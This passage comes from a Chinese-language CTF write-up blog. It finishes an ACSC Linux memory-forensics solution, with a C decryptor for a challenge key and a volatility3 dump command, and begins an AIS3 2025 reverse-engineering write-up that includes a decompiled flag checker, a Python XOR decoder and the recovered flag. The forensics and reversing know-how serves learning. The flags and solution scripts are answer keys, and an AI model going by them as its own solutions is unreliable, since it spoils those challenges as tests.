class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// The key used in encryption</span></span><br><span class="line"><span class="type">char</span> aAcsc2025[] = <span class="string">&quot;acsc2025&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Decoy function (same as in encryption)</span></span><br><span class="line"><span class="type">int64_t</span> <span class="title function_">sub_402D55</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> v0; <span class="comment">// edx</span></span><br><span class="line">    <span class="type">int64_t</span> result; <span class="comment">// rax</span></span><br><span class="line">    <span class="type">int</span> v2; <span class="comment">// [rsp+0h] [rbp-8h]</span></span><br><span class="line">    <span class="type">int</span> i; <span class="comment">// [rsp+4h] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">    v2 = <span class="number">305419896</span>;</span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt;= <span class="number">4</span>; ++i)</span><br><span class="line">    &#123;</span><br><span class="line">        v0 = i + <span class="number">8</span> * v2;</span><br><span class="line">        result = v0 ^ (<span class="type">unsigned</span> <span class="type">int</span>)v2;</span><br><span class="line">        v2 ^= v0;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Decryption function</span></span><br><span class="line"><span class="type">uint64_t</span> <span class="title function_">decrypt_data</span><span class="params">(<span class="type">int64_t</span> encrypted_data, <span class="type">int64_t</span> output_buffer, <span class="type">uint64_t</span> length)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">uint64_t</span> result; <span class="comment">// rax</span></span><br><span class="line">    <span class="type">char</span> v5; <span class="comment">// [rsp+1Ah] [rbp-Eh]</span></span><br><span class="line">    <span class="type">uint64_t</span> i; <span class="comment">// [rsp+20h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0LL</span>; ; ++i)</span><br><span class="line">    &#123;</span><br><span class="line">        result = i;</span><br><span class="line">        <span class="keyword">if</span> (i &gt;= length)</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">            </span><br><span class="line">        <span class="comment">// Get the encrypted byte</span></span><br><span class="line">        <span class="type">unsigned</span> <span class="type">char</span> encrypted_byte = *(<span class="type">uint8_t</span> *)(encrypted_data + i);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// Calculate rotation amount (same as encryption)</span></span><br><span class="line">        <span class="type">int</span> rotation_amount = (i &amp; <span class="number">7</span>) + <span class="number">1</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// Reverse the bit rotation</span></span><br><span class="line">        <span class="comment">// Original: rotated = (value &lt;&lt; (8 - rotation)) | (value &gt;&gt; rotation)</span></span><br><span class="line">        <span class="comment">// Reverse: value = (rotated &gt;&gt; (8 - rotation)) | (rotated &lt;&lt; rotation)</span></span><br><span class="line">        <span class="type">unsigned</span> <span class="type">char</span> rotated_value = (encrypted_byte &gt;&gt; (<span class="number">8</span> - rotation_amount)) | </span><br><span class="line">                                     (encrypted_byte &lt;&lt; rotation_amount);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// Extract v5: v5 = rotated_value - (i ^ 0x13)</span></span><br><span class="line">        v5 = rotated_value - (i ^ <span class="number">0x13</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// Call the decoy function if the same condition is met</span></span><br><span class="line">        <span class="keyword">if</span> (((<span class="number">7</span> * (<span class="type">uint8_t</span>)i + <span class="number">13</span>) &amp; <span class="number">1</span>) == <span class="number">0</span>)</span><br><span class="line">            sub_402D55();</span><br><span class="line">            </span><br><span class="line">        <span class="comment">// Reverse the XOR with the key</span></span><br><span class="line">        *(<span class="type">uint8_t</span> *)(output_buffer + i) = v5 ^ aAcsc2025[i % <span class="number">8</span>];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> (argc != <span class="number">2</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Usage: %s &lt;encrypted_file&gt;\n&quot;</span>, argv[<span class="number">0</span>]);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    FILE *file = fopen(argv[<span class="number">1</span>], <span class="string">&quot;rb&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (!file) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error: Cannot open file %s\n&quot;</span>, argv[<span class="number">1</span>]);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Get file size</span></span><br><span class="line">    fseek(file, <span class="number">0</span>, SEEK_END);</span><br><span class="line">    <span class="type">long</span> file_size = ftell(file);</span><br><span class="line">    fseek(file, <span class="number">0</span>, SEEK_SET);</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;File size: %ld bytes\n&quot;</span>, file_size);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Read encrypted data</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> *encrypted_data = <span class="built_in">malloc</span>(file_size);</span><br><span class="line">    <span class="keyword">if</span> (!encrypted_data) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error: Memory allocation failed\n&quot;</span>);</span><br><span class="line">        fclose(file);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="type">size_t</span> bytes_read = fread(encrypted_data, <span class="number">1</span>, file_size, file);</span><br><span class="line">    fclose(file);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (bytes_read != file_size) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error: Could not read entire file\n&quot;</span>);</span><br><span class="line">        <span class="built_in">free</span>(encrypted_data);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Print encrypted data as hex</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Encrypted data (hex): &quot;</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; file_size &amp;&amp; i &lt; <span class="number">50</span>; i++) &#123; <span class="comment">// Show first 50 bytes</span></span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%02x &quot;</span>, encrypted_data[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (file_size &gt; <span class="number">50</span>) <span class="built_in">printf</span>(<span class="string">&quot;...&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Allocate buffer for decrypted data</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> *decrypted_data = <span class="built_in">malloc</span>(file_size + <span class="number">1</span>);</span><br><span class="line">    <span class="keyword">if</span> (!decrypted_data) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error: Memory allocation failed\n&quot;</span>);</span><br><span class="line">        <span class="built_in">free</span>(encrypted_data);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Decrypt</span></span><br><span class="line">    decrypt_data((<span class="type">int64_t</span>)encrypted_data, (<span class="type">int64_t</span>)decrypted_data, file_size);</span><br><span class="line">    decrypted_data[file_size] = <span class="string">&#x27;\0&#x27;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Print decrypted data</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\nDecrypted data:\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;As hex (continuous): &quot;</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; file_size; i++) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%02X&quot;</span>, decrypted_data[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;As hex (with spaces): &quot;</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; file_size; i++) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%02X &quot;</span>, decrypted_data[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;As text (if printable): &quot;</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; file_size; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (decrypted_data[i] &gt;= <span class="number">32</span> &amp;&amp; decrypted_data[i] &lt;= <span class="number">126</span>) &#123;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;%c&quot;</span>, decrypted_data[i]);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;\\x%02X&quot;</span>, decrypted_data[i]);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// Try to save decrypted data to a file</span></span><br><span class="line">    <span class="type">char</span> output_filename[<span class="number">256</span>];</span><br><span class="line">    <span class="built_in">snprintf</span>(output_filename, <span class="keyword">sizeof</span>(output_filename), <span class="string">&quot;%s.decrypted&quot;</span>, argv[<span class="number">1</span>]);</span><br><span class="line">    </span><br><span class="line">    FILE *output_file = fopen(output_filename, <span class="string">&quot;wb&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (output_file) &#123;</span><br><span class="line">        fwrite(decrypted_data, <span class="number">1</span>, file_size, output_file);</span><br><span class="line">        fclose(output_file);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\nDecrypted data saved to: %s\n&quot;</span>, output_filename);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">free</span>(encrypted_data);</span><br><span class="line">    <span class="built_in">free</span>(decrypted_data);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>輸出</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">File</span> size: <span class="number">32</span> bytes</span><br><span class="line"><span class="attribute">Encrypted</span> data (hex): <span class="number">5</span>a <span class="number">47</span> <span class="number">47</span> <span class="number">78</span> <span class="number">19</span> cc <span class="number">3</span>e a3 <span class="number">26</span> <span class="number">58</span> <span class="number">2</span>a <span class="number">14</span> <span class="number">33</span> a0 <span class="number">40</span> d0 b6 c8 d0 e4 <span class="number">0</span>b a3 d1 ea f5 df <span class="number">65</span> <span class="number">83</span> <span class="number">0</span>f <span class="number">04</span> <span class="number">9</span>f <span class="number">36</span> </span><br><span class="line"></span><br><span class="line"><span class="attribute">Decrypted</span> data:</span><br><span class="line"><span class="attribute">As</span> hex (continuous): C0685A143E2D38BA50244B4A753A31810B42F62D68D2D1D381165153E0C3F01F</span><br><span class="line"></span><br><span class="line"><span class="attribute">As</span> hex (with spaces): C0 <span class="number">68</span> <span class="number">5</span>A <span class="number">14</span> <span class="number">3</span>E <span class="number">2</span>D <span class="number">38</span> BA <span class="number">50</span> <span class="number">24</span> <span class="number">4</span>B <span class="number">4</span>A <span class="number">75</span> <span class="number">3</span>A <span class="number">31</span> <span class="number">81</span> <span class="number">0</span>B <span class="number">42</span> F6 <span class="number">2</span>D <span class="number">68</span> D2 D1 D3 <span class="number">81</span> <span class="number">16</span> <span class="number">51</span> <span class="number">53</span> E0 C3 F0 <span class="number">1</span>F </span><br><span class="line"></span><br><span class="line"><span class="attribute">As</span> text (if printable): \xC0hZ\x14&gt;-<span class="number">8</span>\xBAP$KJu:<span class="number">1</span>\x81\x0BB\xF6-h\xD2\xD1\xD3\x81\x16QS\xE0\xC3\xF0\x1F</span><br><span class="line"></span><br><span class="line"><span class="attribute">Decrypted</span> data saved to: inode_0x8a6161fc0a78.dmp.decrypted</span><br></pre></td></tr></table></figure><p>得知到KEY &#x3D; <code>C0685A143E2D38BA50244B4A753A31810B42F62D68D2D1D381165153E0C3F01F</code></p><h2 id="解密flag"><a href="#解密flag" class="headerlink" title="解密flag"></a>解密flag</h2><p>知道了key跟IV之後，就可將flag檔案dump 出來並進行解密，這邊AES解密也是交給Cyberchef</p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\yunshiuan\Desktop\Tools\volatility3 &gt; python3 .\vol<span class="selector-class">.py</span> -f <span class="string">&quot;C:\Users\yunshiuan\Desktop\asac\chall.raw&quot;</span> linux<span class="selector-class">.pagecache</span><span class="selector-class">.InodePages</span> <span class="attr">--find</span> <span class="string">&#x27;/home/acsc/flag&#x27;</span> <span class="attr">--dump</span></span><br></pre></td></tr></table></figure><p><img src="/assets/-PZ5CPQtGkp0zqAPN7bfUTUVg39PT-Tj0fcnppIV0vg=.png"></p><p><img src="/assets/163DjJ9EGoUgMQqn_098gKO1OmfSzY686rKvl6Bg_Dc=.png"></p><p>flag跑出來代表成功解出這題了！</p><h1 id="總結"><a href="#總結" class="headerlink" title="總結"></a>總結</h1><p>我覺得這題是挺不錯的，包含了Linux Memory Forensic 以及逆向的能力，賽中解出這題的成就感挺大的，確實如果我之前沒有接觸過 Linux 記憶體分析的話可能就會先耗在處理錯誤的地方一段時間。</p>]]></content>
    
    
    <summary type="html">Linux 記憶體鑑識 Writeup</summary>
    
    
    
    <category term="Writeup" scheme="https://yunshiuan.com/categories/Writeup/"/>
    
    
    <category term="ACSC" scheme="https://yunshiuan.com/tags/ACSC/"/>
    
    <category term="Forensic" scheme="https://yunshiuan.com/tags/Forensic/"/>
    
    <category term="Writeup" scheme="https://yunshiuan.com/tags/Writeup/"/>
    
    <category term="CTF" scheme="https://yunshiuan.com/tags/CTF/"/>
    
    <category term="Linux" scheme="https://yunshiuan.com/tags/Linux/"/>
    
    <category term="記憶體鑑識" scheme="https://yunshiuan.com/tags/%E8%A8%98%E6%86%B6%E9%AB%94%E9%91%91%E8%AD%98/"/>
    
  </entry>
  
  <entry>
    <title>2025 AIS3 Pre-Exam Reverse Writeup</title>
    <link href="https://yunshiuan.com/2025/05/26/2025AIS3PreExam-reverse/"/>
    <id>https://yunshiuan.com/2025/05/26/2025AIS3PreExam-reverse/</id>
    <published>2025-05-26T12:00:00.000Z</published>
    <updated>2026-05-11T12:09:36.511Z</updated>
    
    <content type="html"><![CDATA[<p>這次主要做Reverse的題目</p><p><img src="/assets/dashboard.png" alt="dashboard"></p><h2 id="AIS3-Tiny-Server-Reverse"><a href="#AIS3-Tiny-Server-Reverse" class="headerlink" title="AIS3 Tiny Server - Reverse"></a>AIS3 Tiny Server - Reverse</h2><p>ida反編譯後用strings 看一下</p><p><img src="/./assets/tiny1.png" alt="tiny1"></p><p>有明顯的 flag correct 的字串以及Wrong Flag的樣式，追過去看會來到<code>sub_2110</code>，</p><p><img src="/./assets/tiny2.png" alt="tiny2"></p><p>主要是這段，當將<code>p_s</code>丟進<code>sub_1E20</code>時回傳值會決定是對的還是錯的，因此可以確定<code>sub_1E20</code>是一個flag checker</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">_BOOL4 __cdecl <span class="title">sub_1E20</span><span class="params">(<span class="type">int</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v1; <span class="comment">// ecx</span></span><br><span class="line">  <span class="type">char</span> v2; <span class="comment">// si</span></span><br><span class="line">  <span class="type">char</span> v3; <span class="comment">// al</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> v5; <span class="comment">// dl</span></span><br><span class="line">  _BYTE v7[<span class="number">10</span>]; <span class="comment">// [esp+7h] [ebp-49h] BYREF</span></span><br><span class="line">  _DWORD v8[<span class="number">11</span>]; <span class="comment">// [esp+12h] [ebp-3Eh]</span></span><br><span class="line">  __int16 v9; <span class="comment">// [esp+3Eh] [ebp-12h]</span></span><br><span class="line"></span><br><span class="line">  v1 = <span class="number">0</span>;</span><br><span class="line">  v2 = <span class="number">51</span>;</span><br><span class="line">  v9 = <span class="number">20</span>;</span><br><span class="line">  v3 = <span class="number">114</span>;</span><br><span class="line">  v8[<span class="number">0</span>] = <span class="number">1480073267</span>;</span><br><span class="line">  v8[<span class="number">1</span>] = <span class="number">1197221906</span>;</span><br><span class="line">  v8[<span class="number">2</span>] = <span class="number">254628393</span>;</span><br><span class="line">  v8[<span class="number">3</span>] = <span class="number">920154</span>;</span><br><span class="line">  v8[<span class="number">4</span>] = <span class="number">1343445007</span>;</span><br><span class="line">  v8[<span class="number">5</span>] = <span class="number">874076697</span>;</span><br><span class="line">  v8[<span class="number">6</span>] = <span class="number">1127428440</span>;</span><br><span class="line">  v8[<span class="number">7</span>] = <span class="number">1510228243</span>;</span><br><span class="line">  v8[<span class="number">8</span>] = <span class="number">743978009</span>;</span><br><span class="line">  v8[<span class="number">9</span>] = <span class="number">54940467</span>;</span><br><span class="line">  v8[<span class="number">10</span>] = <span class="number">1246382110</span>;</span><br><span class="line">  <span class="built_in">qmemcpy</span>(v7, <span class="string">&quot;rikki_l0v3&quot;</span>, <span class="built_in">sizeof</span>(v7));</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    *((_BYTE *)v8 + v1++) = v2 ^ v3;</span><br><span class="line">    <span class="keyword">if</span> ( v1 == <span class="number">45</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    v2 = *((_BYTE *)v8 + v1);</span><br><span class="line">    v3 = v7[v1 % <span class="number">0xA</span>];</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i != <span class="number">45</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    v5 = *(_BYTE *)(a1 + i);</span><br><span class="line">    <span class="keyword">if</span> ( !v5 || v5 != *((_BYTE *)v8 + i) )</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> *(_BYTE *)(a1 + <span class="number">45</span>) == <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>xor加密可以寫出下面的解密script解出他想要的flag</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt_sub_1E20</span>():</span><br><span class="line">    v8_ints = [</span><br><span class="line">        <span class="number">1480073267</span>,</span><br><span class="line">        <span class="number">1197221906</span>,</span><br><span class="line">        <span class="number">254628393</span>,</span><br><span class="line">        <span class="number">920154</span>,</span><br><span class="line">        <span class="number">1343445007</span>,</span><br><span class="line">        <span class="number">874076697</span>,</span><br><span class="line">        <span class="number">1127428440</span>,</span><br><span class="line">        <span class="number">1510228243</span>,</span><br><span class="line">        <span class="number">743978009</span>,</span><br><span class="line">        <span class="number">54940467</span>,</span><br><span class="line">        <span class="number">1246382110</span></span><br><span class="line">    ]</span><br><span class="line"></span><br><span class="line">    orig = <span class="built_in">bytearray</span>(<span class="number">45</span>)</span><br><span class="line">    idx = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> val <span class="keyword">in</span> v8_ints:</span><br><span class="line">        orig[idx:idx+<span class="number">4</span>] = val.to_bytes(<span class="number">4</span>, byteorder=<span class="string">&#x27;little&#x27;</span>)</span><br><span class="line">        idx += <span class="number">4</span></span><br><span class="line">    orig[<span class="number">44</span>] = <span class="number">20</span></span><br><span class="line"></span><br><span class="line">    key = <span class="string">b&quot;rikki_l0v3&quot;</span></span><br><span class="line"></span><br><span class="line">    result = <span class="built_in">bytearray</span>(<span class="number">45</span>)</span><br><span class="line">    v2 = <span class="number">51</span></span><br><span class="line">    v3 = <span class="number">114</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">45</span>):</span><br><span class="line">        result[i] = v2 ^ v3</span><br><span class="line">        <span class="keyword">if</span> i == <span class="number">44</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        v2 = orig[i+<span class="number">1</span>]</span><br><span class="line">        v3 = key[(i+<span class="number">1</span>) % <span class="built_in">len</span>(key)]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">return</span> result.decode(<span class="string">&#x27;ascii&#x27;</span>)</span><br><span class="line">    <span class="keyword">except</span> UnicodeDecodeError:</span><br><span class="line">        <span class="keyword">return</span> result.<span class="built_in">hex</span>()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    plaintext = decrypt_sub_1E20()</span><br><span class="line">    <span class="built_in">print</span>(plaintext)</span><br></pre></td></tr></table></figure><p><img src="/./assets/tiny3.png" alt="tiny3"></p><p>:flags:AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}</p><hr><h2 id="web-flag-checker"><a href="#web-flag-checker" class="headerlink" title="web flag checker"></a>web flag checker</h2><p>F12 看一下原始碼</p><p><img src="/./assets/web1.png" alt="web1"></p><p>這段出現了flag checker 的邏輯</p><p>接下來在index.wsam中有flag checker的函式內容</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span 